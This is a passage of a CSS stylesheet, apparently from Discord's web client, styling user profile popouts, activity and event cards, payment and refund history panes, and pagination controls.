.theme-dark .newPopoutActivityStyles .activityName-1IaRLn, .theme-dark .newPopoutActivityStyles .content-3JfFJh, .theme-dark .newPopoutActivityStyles .details-38sfDr, .theme-dark .newPopoutActivityStyles .name-29ETJS, .theme-dark .newPopoutActivityStyles .nameNormal-2lqVQK, .theme-dark .newPopoutActivityStyles .nameWrap-3Z4G_9, .theme-dark .newProfileActivityStyles .activityName-1IaRLn, .theme-dark .newProfileActivityStyles .content-3JfFJh, .theme-dark .newProfileActivityStyles .details-38sfDr, .theme-dark .newProfileActivityStyles .name-29ETJS, .theme-dark .newProfileActivityStyles .nameNormal-2lqVQK, .theme-dark .newProfileActivityStyles .nameWrap-3Z4G_9, .theme-light .newPopoutActivityStyles .activityName-1IaRLn, .theme-light .newPopoutActivityStyles .content-3JfFJh, .theme-light .newPopoutActivityStyles .details-38sfDr, .theme-light .newPopoutActivityStyles .name-29ETJS, .theme-light .newPopoutActivityStyles .nameNormal-2lqVQK, .theme-light .newPopoutActivityStyles .nameWrap-3Z4G_9, .theme-light .newProfileActivityStyles .activityName-1IaRLn, .theme-light .newProfileActivityStyles .content-3JfFJh, .theme-light .newProfileActivityStyles .details-38sfDr, .theme-light .newProfileActivityStyles .name-29ETJS, .theme-light .newProfileActivityStyles .nameNormal-2lqVQK, .theme-light .newProfileActivityStyles .nameWrap-3Z4G_9 { color: var(--text-normal); }

.theme-dark .newPopoutActivityStyles .headerText-1HLrL7, .theme-dark .newProfileActivityStyles .headerText-1HLrL7, .theme-light .newPopoutActivityStyles .headerText-1HLrL7, .theme-light .newProfileActivityStyles .headerText-1HLrL7 { color: var(--header-secondary); }

.theme-dark .newPopoutActivityStyles button, .theme-dark .newProfileActivityStyles button, .theme-light .newPopoutActivityStyles button, .theme-light .newProfileActivityStyles button { color: var(--header-primary); border-color: var(--header-primary); }

.theme-dark .newPopoutActivityStyles .platformIcon-32kXeN, .theme-light .newPopoutActivityStyles .platformIcon-32kXeN { display: block; position: absolute; top: 0px; right: 0px; }

.theme-dark .newProfileActivityStyles .platformIcon-32kXeN, .theme-light .newProfileActivityStyles .platformIcon-32kXeN { display: block; position: absolute; top: 16px; right: 16px; }

.button-2IFFQ4 { font-size: 14px; }

.buttonSize-AQY2mE { height: 32px; min-height: 32px; }

.flex-1u2qrf { display: flex; -webkit-box-align: center; align-items: center; }

.platformIcon-2L1fux { width: 20px; height: 20px; object-fit: contain; margin-right: 8px; position: relative; }

.button-2Yen-x { -webkit-box-flex: 0; flex: 0 1 0%; }

.popout-3h7_tF { margin-top: 8px; }

.spotifyButtonLogo-3uT57D { width: 16px; height: 16px; margin-right: 8px; }

.listenAlongIcon-2TkOLH { width: 24px; height: 24px; }

.iconButton-3ucJ7a { padding: 0px; }

.iconButtonSize-8raSoG { min-width: 32px; max-width: 32px; }

.streamIcon-2zxjAa { width: 16px; height: 16px; vertical-align: bottom; margin-right: 5px; }

.iconButton-2sWFo9 { padding: 0px; line-height: 0; margin-left: 8px; }

.iconButtonSize-1gzEUL { min-width: 32px; max-width: 32px; }

.iconSize-2WDpUJ { width: 24px; height: 24px; }

.buttonsWrapper-2spIeK { margin-top: 12px; -webkit-box-flex: 0; flex: 0 1 auto; }

.buttonsWrapper-2spIeK:empty { margin: 0px; }

.horizontal-3fI3M- > :not(:first-child) { margin-left: 8px; }

.vertical-3w1v88 > :not(:first-child) { margin-top: 8px; }

.actionsStreamPreview-2lARcx { margin-top: 10px; }

.actionsProfile-jEtjVX { margin-left: 20px; margin-top: 0px; -webkit-box-flex: 1; flex: 1 1 auto; }

.actionsActivityFeed-1S7uWl { }

.errorImage-149OVL { height: 135px; }

.cannotLaunchImage-2h36Tb { }

.bodyInnerWrapper-26fQXj { background-color: var(--background-floating); color: var(--interactive-active); }

.activity-2INFPu { position: relative; padding-bottom: 16px; }

.rolesList-1geHY1 { margin-bottom: 16px; }

.rolesList-1geHY1:empty { margin-bottom: 8px; margin-top: 0px; }

.bodyTitle-1ySSKn { margin-bottom: 8px; font-weight: 700; }

.note-1oo11U { margin-left: -4px; margin-right: -4px; }

.input-2_SIlA { font-size: 14px; background-color: var(--background-secondary-alt); }

.footer-3UKYOU { padding: 0px 16px 16px; position: relative; -webkit-box-flex: 0; flex: 0 0 auto; background-color: var(--background-floating); color: var(--interactive-active); margin-top: -2px; }

.wumpusWrapper-2H_Ezt { overflow: hidden; pointer-events: none; position: absolute; bottom: 100%; }

.wumpus-2_mWxc { margin-left: 8px; transform: translate3d(0px, 18px, 0px); transition: transform 0.15s cubic-bezier(0, 0, 0.5, 2.2) 0.15s, -webkit-transform 0.15s cubic-bezier(0, 0, 0.5, 2.2) 0.15s; display: flex; -webkit-box-align: center; align-items: center; }

.wumpusShown-1_Tw0E { transform: translate3d(0px, 2px, 0px); }

.wumpusShown-1_Tw0E .wumpusTooltip-3V90tI { opacity: 1; }

.wumpusImage-aCUd8O { display: block; -webkit-box-flex: 0; flex: 0 0 auto; }

.wumpusTooltip-3V90tI { -webkit-box-flex: 0; flex: 0 1 auto; display: inline-block; position: relative; left: 2px; padding: 1px 6px; font-size: 12px; font-weight: 500; border-radius: 3px; margin-top: -8px; margin-right: 8px; opacity: 0; transition: opacity 0.11s linear 0.17s; }

.wumpusTooltip-3V90tI::after { content: ""; position: absolute; top: 50%; left: -6px; margin-top: -3px; border-right-width: 3px; border-style: solid; height: 0px; width: 0px; }

.theme-dark .wumpusTooltip-3V90tI { background: rgb(255, 255, 255); color: rgb(79, 84, 92); }

.theme-dark .wumpusTooltip-3V90tI::after { border-color: transparent rgb(255, 255, 255) transparent transparent; }

.theme-light .wumpusTooltip-3V90tI { background: rgba(220, 221, 222, 0.6); color: rgb(79, 84, 92); }

.theme-light .wumpusTooltip-3V90tI::after { border-color: transparent rgba(220, 221, 222, 0.6) transparent transparent; }

.nameTag-m8r81H { display: flex; -webkit-box-pack: start; justify-content: flex-start; -webkit-box-align: center; align-items: center; overflow: hidden; line-height: 1.1; }

.username-2b1r56 { flex: 0 1 auto; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.bot-2Fta1w, .username-2b1r56 { -webkit-box-flex: 0; display: block; }

.bot-2Fta1w { flex: 0 0 auto; margin-left: 1ch; }

.emoji-kdONqz { flex-shrink: 0; }

.clamped-IwJfxR { display: -webkit-box; -webkit-line-clamp: 6; overflow: hidden; -webkit-box-orient: vertical; }

.container-q03LZO { display: flex; flex-wrap: wrap; margin-right: -2px; margin-bottom: -2px; }

.container-q03LZO > * { margin: 0px 2px 2px 0px; }

.clickable-17BDii { cursor: pointer; }

.profileBadge-2niAfJ { display: block; background-repeat: no-repeat; background-size: contain; background-position: 50% center; overflow: hidden; pointer-events: none; object-fit: cover; }

.profileBadge-2niAfJ:active { opacity: 0.8; }

.profileBadge-2niAfJ::before { content: ""; display: block; width: 100%; height: 100%; background-color: var(--background-modifier-accent); border-radius: 50%; }

.profileBadge24-179Xm3 { width: 24px; height: 24px; }

.profileBadge22-LJmn9o { width: 22px; height: 22px; }

.profileBadge18-NVHzY4 { width: 18px; height: 18px; }

.nickname-3M3Jfa { word-break: break-word; }

.headerTag-3GFl76 { font-size: 14px; font-weight: 500; display: block; font-family: var(--font-display); }

.headerTagWithNickname-3l_x6x { font-family: var(--font-primary); line-height: 18px; }

.headerTagNoNickname-3qrd77 { font-size: 20px; line-height: 24px; word-break: break-word; white-space: normal; -webkit-box-align: end; align-items: flex-end; }

.headerTagUsernameBase-1NqrY5 { overflow: auto; word-break: break-all; text-overflow: unset; white-space: normal; color: var(--header-secondary); vertical-align: top; display: inline; }

.headerTagUsernameNoNickname-2-Y5Ct { color: var(--interactive-active); font-weight: 600; }

.discrimBase-24vY8o { color: var(--header-secondary); vertical-align: top; }

.headerTagDiscriminatorNoNickname-D-AYUN { font-weight: 600; }

.headerBotTag-qNEsTk { vertical-align: top; margin-top: 5px !important; }

.headerBotTag-qNEsTk, .headerBotTagWithNickname-3pd2GF { display: inline-flex; line-height: 15px; }

.headerBotTagWithNickname-3pd2GF { margin-bottom: 2px !important; }

.customStatus-oN4ZZY { margin-bottom: 10px; box-sizing: border-box; width: 100%; overflow-wrap: break-word; font-size: 14px; line-height: 18px; color: var(--text-normal); }

.customStatus-oN4ZZY .customStatusEmoji-3a2-Zo { display: block; margin: -1px 4px -1px 0px; float: left; width: 20px; height: 20px; }

.customStatus-oN4ZZY .customStatusEmoji-3a2-Zo.customStatusSoloEmoji-1tDhmL { float: none; width: 48px; height: 48px; margin: 0px; }

.customStatusText-1vtUsN { user-select: text; }

.applicationInstallButton-1M2YjM { width: 100%; margin-bottom: 16px; }

.aboutMeSection-1Fw5Ia { margin-bottom: 16px; }

.aboutMeSection-1Fw5Ia .aboutMeBody-3GuvKk { font-size: 14px; line-height: 18px; }

.aboutMeTitle-1IYtPE { display: flex; font-weight: 700; margin-bottom: 8px; }

.aboutMeGuildIcon-36UmEK { margin-left: 4px; }

.aboutMeGuildIconTooltip-1hnrui { background-color: var(--background-tertiary); max-width: 400px; }

.betaBadge-1Xznh1 { margin-left: 8px; }

.headerTop-3vNv-a { display: block; flex-shrink: 0; padding: 64px 16px 16px; overflow: hidden; position: relative; }

.headerTopWithCustomStatus-1DHAjX { padding-bottom: 12px; }

.warningCircleIcon-cBU5e2 { position: absolute; top: 8px; right: 16px; height: 20px; width: 20px; }

.profileBadges-ohc0Vu { position: absolute; top: 16px; right: 16px; max-width: 180px; -webkit-box-pack: end; justify-content: flex-end; }

.headerText-1vVs-U { user-select: text; }

.avatarHint-2A3RNb { position: absolute; top: 6px; left: 6px; opacity: 0; transition: opacity 0.1s ease 0s; pointer-events: none; }

.avatarHintInner-1TvA8u { box-sizing: border-box; font-size: 10px; line-height: 12px; font-weight: 700; width: 100%; padding-top: 4px; height: 100%; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; text-transform: uppercase; box-shadow: rgba(0, 0, 0, 0.75) 0px 0px 120px inset; color: rgb(255, 255, 255); }

.avatar-37jOim { border: 6px solid var(--background-floating); background-color: var(--background-floating); }

.avatarWrapper-3r9PdD { border-radius: 50%; position: absolute; z-index: 1; top: 80px; left: 16px; }

.avatarWrapperNormal-26WQIb { }

.avatarWrapperNormal-26WQIb:hover .avatarHint-2A3RNb { opacity: 1; }

.clickable-1rcWFe { cursor: pointer; }

.avatarWrapperNonUserBot-3fzpUZ { cursor: default; }

.avatarPositionNormal-aZjAsn { top: 16px; }

.avatarPositionPremium-3We5Ho { top: 76px; }

.divider-ewBQKj { height: 1px; background-color: var(--background-modifier-accent); margin-bottom: 12px; }

.guildMemberProfileTooltip-1db9wh { display: flex; -webkit-box-align: center; align-items: center; }

.guildMemberProfileTooltipNitroWheel-1uE4B8 { width: 16px; height: 16px; margin-right: 8px; }

.baseAvatar-1ieD3V { display: inline-block; vertical-align: top; }

.largeAvatar-1TsqfA { line-height: 24px; margin-right: 8px; }

.miniAvatar-2gznTe { line-height: 18px; margin-right: 4px; margin-top: 1px; }

.userPopout-xaxa6l { box-shadow: var(--elevation-high); background-color: var(--background-floating); border-radius: 8px; overflow: hidden; max-height: calc(100vh - 20px); display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.headerNormal-3KXFBt { -webkit-box-flex: 0; flex: 0 0 auto; }

.body-3HBlXn { -webkit-box-flex: 0; flex: 0 1 auto; min-height: 0px; padding: 0px 16px 14px; }

.body-3HBlXn::-webkit-scrollbar-track { margin-bottom: 4px; }

.divider-3NUv48 { width: 270px; margin-left: 16px; height: 1px; background-color: var(--background-modifier-accent); position: sticky; top: 0px; }

.setIdentityLink-1t8Ahd { margin-top: 8px; }

.setIdentityLink-1t8Ahd:hover { text-decoration: underline; }

.scrollerSeparator-3K3Qdv { box-shadow: 0 -1px 0 var(--background-modifier-accent); }

.editProfileCTA-yA1k_d { margin-top: 12px; }

.setIdentityOption-2uZxxs { font-size: 14px; }

.container-2ax-kl { box-sizing: border-box; text-overflow: ellipsis; white-space: nowrap; overflow: hidden; text-transform: uppercase; font-size: 12px; line-height: 16px; letter-spacing: 0.25px; font-family: var(--font-display); font-weight: 600; -webkit-box-flex: 1; flex: 1 1 auto; color: var(--channels-default); }

.descriptionText-1EMft3 { margin-top: 4px; color: var(--header-secondary); font-size: 14px; line-height: 18px; font-family: var(--font-primary); }

.truncate-372O6u { overflow: hidden; text-overflow: ellipsis; display: -webkit-box; -webkit-line-clamp: 4; -webkit-box-orient: vertical; max-height: 72px; }

.eventStatusContainer-RAhIY6 { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.eventStatusText-20_P32 { font-weight: 600; }

.eventStatusGreen-3jNYOT { color: hsl(139,calc(var(--saturation-factor, 1)*51.6%),52.2%); }

.eventStatusBrand-1RBas5 { color: var(--text-brand); }

.eventStatusLabel-2H3vs5 { margin-left: 8px; }

.liveEventEndTime-1qvVxn { display: inline-block; }

.container-28YWfK { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.eventName-2Zb-UG { max-width: 534px; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; }

.description-1u_eu9 { margin-top: 8px; }

.spacer-3SBVPl { margin-left: auto; }

.rsvpCount-1Qtgtr { margin-bottom: auto; flex-shrink: 0; display: flex; -webkit-box-align: center; align-items: center; background-color: var(--background-tertiary); border-radius: 12px; padding-left: 8px; padding-right: 8px; height: 20px; }

.rsvpIcon-32ixCJ { margin-right: 4px; color: var(--header-secondary); }

.creator-1ZlRzz { margin-right: 8px; }

.inline-2ZbF4- { display: flex; -webkit-box-align: center; align-items: center; }

.eventInfoStatusContainer-3TPccU { margin-bottom: 12px; }

.statusContainer-3GlsVt { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.container-3ReVIJ { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; text-align: left; }

.statusContainer-1EzEDs { margin-bottom: 16px; }

.channelInfoContainer-19Jrjr { margin-top: 16px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; color: var(--header-secondary); }

.channelInfoText-2GvYAZ { margin-left: 8px; font-weight: 600; }

.flex-32dgJs { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; }

.header-3qymWa { text-align: start; margin-top: 16px; }

.header-3qymWa.embed-1cTuq4 { margin-top: 0px; }

.listeners-qGG-NC { color: var(--interactive-normal); }

.live-3pJRI7 { color: hsl(139,calc(var(--saturation-factor, 1)*85.6%),64.5%); }

.speakers-kEGflI { flex-wrap: wrap; -webkit-box-flex: 1; flex-grow: 1; }

.members-1BI21N, .speakers-kEGflI { display: flex; }

.members-1BI21N { -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; margin-top: 12px; }

.members-1BI21N.embed-1cTuq4 { margin-top: 8px; }

.speaker-1HW9IK { -webkit-box-flex: 1; flex-grow: 1; flex-basis: 34%; display: flex; -webkit-box-pack: start; justify-content: flex-start; -webkit-box-align: center; align-items: center; margin: 4px 8px 4px 0px; overflow: hidden; }

.label-3jnO6p { margin-left: 8px; }

.background-2vw-bh { border-radius: 12px; padding: 4px 8px; }

.background-2vw-bh, .icon-1kl4sN { background-color: var(--background-tertiary); display: flex; -webkit-box-align: center; align-items: center; }

.icon-1kl4sN { border-radius: 50%; height: 20px; width: 20px; }

.icon-1kl4sN.embed-1cTuq4 { height: 16px; width: 16px; }

.guild-1H1MQY { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: start; justify-content: flex-start; margin: 8px 0px; }

.guild-1H1MQY.embed-1cTuq4 { margin: 12px 0px; }

.guildInfo-3bTId5 { margin-left: 12px; text-align: start; }

.dot-38181A { width: 8px; height: 8px; background-color: hsl(139,calc(var(--saturation-factor, 1)*85.6%),64.5%); border-radius: 50%; margin-right: 4px; }

.alignStart-2FQjAH { text-align: start; }

.avatar-30KUrI { width: 20px !important; height: 20px !important; }

.username-3Lwvlv { margin-left: 8px; overflow: hidden; text-overflow: ellipsis; white-space: pre; }

.theme-light .live-3pJRI7 { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.checkbox-2isuxc { margin-right: 8px; }

.errorMessage-1Zosc1 { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.createAccountTemplateHeader-2nHsFv { color: var(--header-primary); font-size: 24px; font-weight: 600; }

.horizontalAuthBox-3g0z2L { width: 960px; }

.flex-3GtgJ6 { -webkit-box-flex: 1; flex: 1 1 auto; }

.divider-xdUQ8X { margin-top: 16px; margin-bottom: 16px; width: 100%; height: 1px; background-color: var(--background-modifier-accent); }

.goBackButton-1hTNN6 { margin-bottom: 16px; padding-left: 0px; }

.goBackButton-1hTNN6 .content-2C8-3- { display: flex; -webkit-box-align: center; align-items: center; }

.goBackButton-1hTNN6 .caret-PabAi2 { margin: 0px 4px 1px 0px; }

.modal-1qeMox { overflow-x: hidden; min-height: 180px; }

.form-77IDep { display: flex; -webkit-box-flex: 1; flex-grow: 1; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; min-height: 0px; }

.content-sp-7A3 { height: 100%; padding-bottom: 20px; }

.modalTitle-3qb2Mp { margin-bottom: 10px; }

.divider-3WKGWk { border-top: 1px solid; margin: 0px 20px 12px; }

.errorBlock-3se5QO { margin-bottom: 20px; }

.sequencer-FWouqi { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

@media (max-width: 485px) and (max-height: 450px) {
  .form-77IDep { display: block; }
}

.theme-light .divider-3WKGWk { border-color: rgba(220, 221, 222, 0.6); }

.theme-dark .divider-3WKGWk { border-color: rgb(47, 49, 54); }

.pageActions-1SVAnA { border-radius: 3px; padding: 20px 0px; display: flex; -webkit-box-flex: 0; flex: 0 0 auto; -webkit-box-pack: center; justify-content: center; }

.pageButtonNext-V2kUq0, .pageButtonPrev-1Y-47D { padding: 14px; cursor: pointer; box-sizing: border-box; width: 42px; height: 42px; transition: all 0.2s ease 0s; border: 1px solid var(--interactive-normal); color: var(--interactive-normal); }

.pageButtonNext-V2kUq0:hover, .pageButtonPrev-1Y-47D:hover { border-color: var(--interactive-hover); color: var(--interactive-hover); }

.pageButtonNext-V2kUq0.disabled-BrLY9Y, .pageButtonPrev-1Y-47D.disabled-BrLY9Y { cursor: not-allowed; border-color: var(--interactive-muted); color: var(--interactive-muted); }

.pageButtonIcon-27P-7s { width: 14px; height: 14px; }

.pageButtonPrev-1Y-47D { border-radius: 3px 0px 0px 3px; }

.pageButtonNext-V2kUq0 { border-radius: 0px 3px 3px 0px; }

.pageIndicator-1gAbyA { padding: 12px; display: flex; -webkit-box-align: center; align-items: center; font-size: 14px; border-color: var(--interactive-muted); border-style: solid; border-width: 1px 0px; }

.assetWrapper-3GNt0z { position: relative; user-select: none; }

.assetWrapperMasked-2tj_Bb { -webkit-mask: url("https://discord.com/assets/7d65d61e6cd25bf1847ec2d3e4a0144d.svg") 0px 0px / 100% 100%; }

.stickerAsset-13j1W0 { height: 100%; left: 0px; position: absolute; top: 0px; width: 100%; }

.lottieCanvas-1W7L-f, .pngImage-33yLRP { }

.pngImage-33yLRP { display: block; object-fit: contain; }

.roundedMask-3rB_-f { display: block; position: absolute; height: 100%; left: 0px; width: 100%; top: 0px; }

.errorContent-2z-hpw { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.loadingIndicator-1T4i1D { box-sizing: border-box; cursor: default; display: block; -webkit-mask: url("https://discord.com/assets/7d65d61e6cd25bf1847ec2d3e4a0144d.svg") 0px 0px / 100% 100%; }

.error-3sSo0R, .loadingIndicator-1T4i1D { width: 100%; height: 100%; background-color: var(--background-modifier-active); }

.error-3sSo0R { -webkit-box-align: center; align-items: center; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; font-weight: 600; -webkit-box-pack: center; justify-content: center; }

.errorIcon-16FWDW { color: var(--header-secondary); }

.errorText-2KbYvF { margin-top: 4px; }

.overlayWrapper-3SV4ai { pointer-events: none; position: relative; z-index: 1; }

.overlayStickerWrapper-1BxFMK { position: relative; z-index: 2; }

.overlayLabelWrapper-_IUK2r { position: relative; z-index: 1; }

.overlayLabel-1U3AO5 { background-color: var(--background-floating); border-radius: 20px; font-weight: 500; left: 50%; margin-top: 2px; padding: 2px 8px; position: absolute; top: 100%; transform: translateX(-50%); white-space: nowrap; }

.positionedLayer-rdhj21 { pointer-events: none; }

.descriptionWrapper-1YBY_J { margin-left: 14px; }

.subText-V8PTt8 { font-size: 14px; margin-top: 4px; }

.indicator-2Qs3-E { display: flex; -webkit-box-align: center; align-items: center; font-size: 11px; height: 14px; padding: 0px 4px; margin-left: 8px; letter-spacing: 0.4px; text-align: center; border-radius: 3px; text-transform: uppercase; font-weight: 700; }

.defaultIndicator-G3c16x, .invalidIndicator-3Buq_-, .premiumIndicator-1XvbfM { }

.theme-light .description-HxwDO4, .theme-light .descriptionWrapper-1YBY_J { color: rgb(114, 118, 125); }

.theme-light .defaultIndicator-G3c16x { background-color: rgb(79, 84, 92); color: rgb(255, 255, 255); }

.theme-light .premiumIndicator-1XvbfM { background-color: var(--brand-experiment-500); color: rgb(255, 255, 255); }

.theme-light .invalidIndicator-3Buq_- { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); color: rgb(255, 255, 255); }

.theme-dark .description-HxwDO4 { color: rgb(220, 221, 222); }

.theme-dark .descriptionWrapper-1YBY_J { color: rgb(114, 118, 125); }

.theme-dark .defaultIndicator-G3c16x { background-color: rgb(79, 84, 92); color: rgb(255, 255, 255); }

.theme-dark .premiumIndicator-1XvbfM { background-color: var(--brand-experiment-500); color: rgb(255, 255, 255); }

.theme-dark .invalidIndicator-3Buq_- { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); color: rgb(255, 255, 255); }

.notice-VArpzo { padding: 16px; }

.body-1-im1I { margin: 12px auto; }

.refundErrorTitle-3gqJoa { padding-bottom: 4px; }

.refundErrorSupport-2Dt92n { padding-top: 4px; }

.payment-xT17Mq { width: 100%; }

.hoverablePayment-Yc6mK7 { transition: background-color 0.2s ease 0s; }

.expandInfo-2ApsVK { padding: 20px; }

.summaryInfo-2QFKUg { cursor: pointer; padding: 20px; }

.expandedInfo-3kfShd { margin: 0px 20px 20px; padding: 20px; border-radius: 5px; }

.paymentHeader-3QlZQi { font-size: 16px; font-weight: 600; margin-bottom: 8px; padding-top: 20px; border-top: 1px solid; margin-top: 20px; }

.paymentHeader-3QlZQi:first-child { border-top: none; padding-top: 0px; margin-top: 0px; }

.paymentText-2vaF7U { font-size: 14px; line-height: 1.4; }

.paymentBreakdown-28CAO8 { padding-top: 10px; }

.paymentDetail-aFXa-m { margin-top: 12px; }

.paymentDetail-aFXa-m:first-child, .paymentDetail-aFXa-m:last-child { margin-top: 20px; }

.date-2Qr15l { width: 20%; }

.amount-ukM6w- { display: flex; place-content: center flex-end; -webkit-box-pack: end; }

.statusTag-22YO6d { border-radius: 3px; display: block; margin-right: 20px; padding: 0px 4px; overflow: hidden; height: 14px; max-width: 180px; color: rgb(255, 255, 255); font-size: 11px; font-weight: 500; letter-spacing: 0.4px; line-height: 14px; text-overflow: ellipsis; text-transform: uppercase; white-space: nowrap; }

.statusTagGreen-1YzpdX { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.statusTagRed-2Xg3v3 { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.statusTagGrey-2_qq8q { background-color: hsl(214,calc(var(--saturation-factor, 1)*9.9%),50.4%); }

.price-2pVkRt { white-space: nowrap; }

.description-RQzS-K { -webkit-box-flex: 1; flex: 1 1 50%; display: flex; -webkit-box-align: center; align-items: center; margin-right: 8px; }

.descriptionIcon-1UHIIr { margin-right: 10px; flex-shrink: 0; background-repeat: no-repeat; background-position: 50% center; }

.expand-1g95ZR { margin-left: 20px; width: 24px; height: 24px; }

.downloadInvoice-2urqS3 { font-size: 14px; margin-top: 12px; }

.downloadRefundInvoice-2uVU-I { margin-left: 14px; }

.refundSubHeader-3hp-GM { text-transform: uppercase; margin: 20px 0px 8px; font-size: 12px; font-weight: 600; }

.refundSelect-JoPzvz { margin-right: 12px; -webkit-box-flex: 1; flex: 1 1 0%; }

.refundCriteria-o9V-c2 { margin-right: 32px; }

.refundCriteriaIcon-Ta3gtw { width: 16px; height: 16px; margin-right: 8px; }

.giftIcon-3DRGI6 { margin-left: 10px; width: 16px; height: 16px; }

@media (max-width: 800px) {
  .refundCriteria-o9V-c2 { margin-right: 16px; }
}

.compact-3q6200 .amount-ukM6w- { -webkit-box-orient: vertical; -webkit-box-direction: reverse; flex-direction: column-reverse; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: end; align-items: flex-end; width: 20%; }

.compact-3q6200 .summaryInfo-2QFKUg { padding: 16px 20px; }

.compact-3q6200 .amount-ukM6w-, .compact-3q6200 .date-2Qr15l, .compact-3q6200 .description-RQzS-K { text-transform: unset; }

.compact-3q6200 .date-2Qr15l { opacity: 0.6; }

.compact-3q6200 .descriptionIcon-1UHIIr { width: 40px; height: 40px; }

.compact-3q6200 .statusTag-22YO6d { margin: 8px 0px 0px; }

.compact-3q6200 .expand-1g95ZR { margin-left: 8px; }

.compact-3q6200 .date-2Qr15l { width: unset; font-size: 12px; line-height: 16px; }

.compact-3q6200 .description-RQzS-K { text-transform: unset; width: unset; -webkit-box-flex: 1; flex: 1 1 55%; }

.theme-light .summaryInfo-2QFKUg { color: rgb(79, 84, 92); }

.theme-light .payment-xT17Mq { background-color: rgb(246, 246, 247); }

.theme-light .paymentHeader-3QlZQi { border-color: rgb(79, 84, 92); }

.theme-light .expandedInfo-3kfShd { background-color: rgb(220, 221, 222); }

.theme-light .paymentText-2vaF7U { color: rgb(54, 57, 63); }

.theme-light .giftIcon-3DRGI6 { color: rgb(79, 84, 92); }

.theme-dark .summaryInfo-2QFKUg { color: rgb(246, 246, 247); }

.theme-dark .payment-xT17Mq { background-color: rgb(47, 49, 54); color: rgb(185, 187, 190); }

.theme-dark .hoverablePayment-Yc6mK7:hover { background-color: hsl(214,calc(var(--saturation-factor, 1)*9.1%),15.1%); }

.theme-dark .paymentHeader-3QlZQi { color: rgb(255, 255, 255); border-color: rgb(79, 84, 92); }

.theme-dark .expandedInfo-3kfShd { background-color: rgb(54, 57, 63); }

.theme-dark .paymentText-2vaF7U { color: rgb(185, 187, 190); }

.theme-dark .giftIcon-3DRGI6 { color: rgb(255, 255, 255); opacity: 0.6; }

.refundActions-3uxTzO { -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: end; align-items: flex-end; }

.refundActions-3uxTzO, .refundIconContainer-20yQ6C, .refundRules-2BAj3_ { display: flex; }

.paymentPane-3bwJ6A { border-radius: 5px; overflow: hidden; }

.paymentRow-2e7VM6 { cursor: default; }

.paymentRowHeader-2sfDdN { font-size: 12px; font-weight: 600; margin-right: 44px; padding: 20px; }

.paymentRowHeaderDescription-4bm8wL { display: flex; -webkit-box-flex: 1; flex: 1 1 50%; margin-left: 8px; }

.tab-1kx2RU { padding-bottom: 12px; margin-left: 12px; font-size: 14px; font-weight: 600; }

.tab-1kx2RU:first-child { margin-left: 0px; }

.externalRow-EXU9l7 { display: flex; border-radius: 5px; margin-bottom: 20px; padding: 20px; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.externalRowHeader-2-8cG6 { font-size: 16px; }

.externalRowBody-3PrFmM { font-size: 14px; line-height: 18px; margin-top: 8px; color: var(--text-muted); }

.bottomDivider-1K9Gao { border-bottom-width: 1px; border-bottom-style: solid; }

.bottomDivider-1K9Gao:last-child { border-bottom: none; }

.verticalFit-waKLYN { display: flex; -webkit-box-flex: 1; flex: 1 1 auto; overflow: hidden; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.theme-light .paymentPane-3bwJ6A { background-color: rgb(246, 246, 247); color: rgb(79, 84, 92); }

.theme-light .paginator-166-09 { background: rgb(246, 246, 247); border-top: 0px; color: rgb(79, 84, 92); }

.theme-light .bottomDivider-1K9Gao { border-bottom-color: rgb(220, 221, 222); }

.theme-light .externalRowHeader-2-8cG6 { color: rgb(79, 84, 92); }

.theme-dark .paymentPane-3bwJ6A { background-color: rgb(47, 49, 54); color: rgb(246, 246, 247); }

.theme-dark .paginator-166-09 { background: rgb(47, 49, 54); }

.theme-dark .bottomDivider-1K9Gao { border-bottom-color: rgb(54, 57, 63); }

.theme-dark .tab-1kx2RU { color: rgb(114, 118, 125); }

.theme-dark .externalRowHeader-2-8cG6 { color: rgb(220, 221, 222); }

.card-19w55y { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; background: rgb(54, 57, 63); border-color: rgb(54, 57, 63); height: 100vh; max-height: 100vh; }

.title-3TRLpl { display: none; }

@media (min-width: 486px) {
  .card-19w55y { margin: 16px; padding: 20px; max-width: 720px; height: auto; }
  .title-3TRLpl { display: block; margin: 20px 0px 16px; }
}

.errorBody-3WviEJ { -webkit-box-align: center; align-items: center; padding: 0px 16px; text-align: center; }

.errorBody-3WviEJ, .promotionBodyWrapper-JgfKJo { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.errorBody-3WviEJ, .promotionBody-2r_eLH, .promotionBodyWrapper-JgfKJo { display: flex; }

.promotionBody-2r_eLH { -webkit-box-align: center; align-items: center; height: 200px; margin-top: 20px; }

@media (max-width: 485px) {
